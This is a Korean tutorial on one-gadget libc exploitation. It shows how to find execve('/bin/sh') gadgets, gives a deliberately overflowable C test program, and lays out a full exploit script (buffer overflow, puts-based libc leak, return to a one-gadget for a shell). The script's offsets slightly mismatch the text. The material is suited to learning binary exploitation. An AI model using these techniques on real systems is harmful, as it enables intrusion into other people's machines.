1. One-gadget이란?

라이브러리 내에 execve함수 인자값으로 "/bin/sh"가 존재하여 해당 주소로 실행하는 것만으로 쉘 실행이 가능한 가젯.

[왜 one-gadget을 쓰는 것인가?]  
=> 기존에 쉘을 실행하는 방법(RTL, ROP기법)  
1. "/bin/sh"문자열이 없다면 입력하고서 이용  
2. 함수호출규약에 따라 레지스터에 값을 세팅  
3. execve, system함수를 호출  

기존에는 위 과정을 거쳐서 쉘을 실행했지만   
이 one-gadget을 이용하면 해당 주소 호출만으로 쉘을 실행시킬 수 있기 때문에 간편하다.

2. one-gadget을 찾는 방법

2-1. 리눅스 명령어와 도구를 이용하여 탐색

(1) "/bin/sh" 문자열 찾기

strings -tx “libc.so.6주소” | grep /bin/sh

=> strings명령어를 통해서 libc파일에 존재하는 "/bin/sh"문자열의 offset을 얻을 수 있다.

(2) "/bin/sh"를 쓰는 execve함수를 찾기

objdump -M intel -d "libc.so.주소" | grep -C8 "/bin/sh의 오프셋"
  • objdump란 도구를 이용해서 libc파일 안에 "/bin/sh"를 사용한 곳을 탐색
  • 탐색된 곳 근처에서 인자 값으로 "/bin/sh"를 사용하는 execve 주소를 탐색
  • 찾은 주소로 실행 흐름으로 바꾼다면 "/bin/sh"를 매개인자로 가진 execve를
    실행하여 쉘 실행 가능

2-2. One_gadget도구를 이용

: david942j가 만든 도구로서 라이브러리 파일에서 One-gadget가젯의 오프셋과 제한조건을
탐색후 출력

one_gadget "libc.so.6주소"
  • one_gatget도구에다가 libc파일 주소를 넣는다면 offset과 제약조건을 보여준다.
  • 제약조건을 맞추고 offset값을 base주소에 더하고 실행시키면 쉘 실행이 가능
    < but offset을 먼저 실행해보고 디버깅을 통해 execve호출 직전에 제약조건을 확인하는 경우가 많음 >

3. One_gatget 테스트

#include <stdio.h>  

int main(void){  
    char buf[20];  

    read(0, buf, 200);  
    puts(buf);  
    return 0;  
}

(시나리오)

  1. buf + 0x8(SFP)크기만큼 더미를 넣어서 BOF를 유발
  2. memory leak으로 libc의 base주소 구하기
  3. base주소 + one-gadget오프셋의 주소를 ret영역에 덮어서 호출

payload

# (1) BOF과정  
payload = b''  
payload += b'A' * 0x27 + b'\x00'  
payload += p64(prdi)  
payload += p64(read_got)  
payload += p64(puts_plt)  
payload += p64(main_addr)  

print("read : ",hex(read_got))  

# (2) memory leak과정  
onegadget = [0xe3b23, 0xe3b31, 0x3b34]  

p.send(payload)  
p.recvuntil('\n')  
read_addr = u64(p.recvuntil('\n')[:-1] + b'\x00\x00')  
libc_addr = read_addr - 0x10dff0  
one_addr = libc_addr + onegadget[0]  
print("one : ", hex(one_addr))  

# (3) recall main함수후 익스  
payload = b''  
payload += b'A' * 0x27 + b'\x00'  
payload += p64(prsi)  
payload += p64(0)  
payload += p64(0)  
payload += p64(one_addr)  

p.send(payload)  
p.recvuntil('\n')  

p.interactive()

(1) BOF과정
=> "BOF(buf+SFP) + puts(got@read)주소"를 ret영역까지 덮어서 read함수의
라이브러리 상의 주소를 출력한다.

(2) memory leak과정

  • "libc의 시작주소 = read함수의 라이브러리 주소 - read함수의 offset"
    위에 식을 통해서 libc의 시작주소(base주소)를 얻을 수 있다.
  • "one-gadget주소 = libc베이스주소 + one-gadget오프셋"
    얻어낸 base주소와 one_gadget도구로 얻은 오프셋을 더해서 one-gadget호출할 주소를 계산한다.

(3) recall main함수
ex) "one-gadget 오프셋 - 0xe3b34"를 사용

  • 이전 BOF과정을 그대로 진행하면서 이번에는 puts함수 대신 one-gadget주소를 ret영역을 덮는다.
  • payload상에서는 중간에 "pop rsi"를 불러서 0값을 저장하는데 이유는
    제약조건에 "rsi==0"이 있었기 때문에 맞추기 위해서 추가하였다.

제약조건이 충족하지 않을때는?

(상황)

  • 처음엔 페이로드의 "오프셋 0xe3b34" 대신 one_gadget도구에서
    첫번째로 나온 "오프셋 0xe3b23"을 사용했고 SIGBUS에러가 발생했다.

  • 디버깅과정을 통해 one-gadget가 가리키는 주소가 호출되기 직전에 레지스터 확인

  • 레지스터를 확인했을때 제약조건 중 하나인 r12값이 null값이 아니어서 에러 발생

  • 그래서 다른 offset값인 0xe3b34를 쓰고 실행조건을 전부 맞췄을때 쉘이 정상적으로 실행되는 것을 확인할 수 있었음